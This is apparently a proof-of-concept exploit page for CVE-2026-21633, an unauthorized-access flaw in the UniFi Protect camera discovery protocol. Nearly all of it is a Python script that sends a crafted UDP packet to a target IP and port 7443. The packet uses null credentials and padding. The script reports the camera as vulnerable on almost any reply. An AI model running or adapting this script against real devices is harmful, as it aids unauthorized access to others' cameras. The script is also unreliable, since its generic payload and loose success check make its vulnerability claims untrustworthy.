CVE-2026-21633 UniFi Protect Camera发现协议未授权访问漏洞

# CVE-2026-21633 PoC - UniFi Protect Camera Discovery Protocol Exploit # This PoC demonstrates the discovery protocol vulnerability # Target: UniFi Protect Camera with versions <= 6.1.79 import socket import struct import sys def create_discovery_packet(): """Create malicious discovery packet to trigger unauthorized access""" # Discovery protocol header header = b'\x01\x00' # Protocol version packet_type = b'\x00\x01' # Discovery request type # Malicious payload to bypass authentication payload = b'\x00\x00\x00\x00' # Null credentials to exploit auth bypass payload += b'\x41\x41\x41\x41' * 8 # Padding payload += b'\xff\xff\xff\xff' # Exploit marker # Construct full packet packet = header + packet_type + payload packet += struct.pack('>I', len(payload)) # Length field return packet def exploit_camera(target_ip, target_port=7443): """Send exploit packet to target camera""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Send discovery exploit packet exploit_packet = create_discovery_packet() sock.sendto(exploit_packet, (target_ip, target_port)) print(f'[+] Exploit packet sent to {target_ip}:{target_port}') # Receive response (if vulnerable, will get auth bypass confirmation) try: response, addr = sock.recvfrom(4096) print(f'[+] Received response from {addr}') print(f'[+] Response data: {response.hex()}') # Check for successful exploitation indicators if b'\x00\x00\x00\x00' in response or len(response) > 20: print('[!] Target appears VULNERABLE - Auth bypass detected') return True except socket.timeout: print('[-] No response received') return False except Exception as e: print(f'[-] Error: {str(e)}') return False finally: sock.close() if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2026-21633-poc.py <target_ip>') sys.exit(1) target = sys.argv[1] print(f'[*] CVE-2026-21633 Exploit for UniFi Protect Camera') print(f'[*] Target: {target}') exploit_camera(target)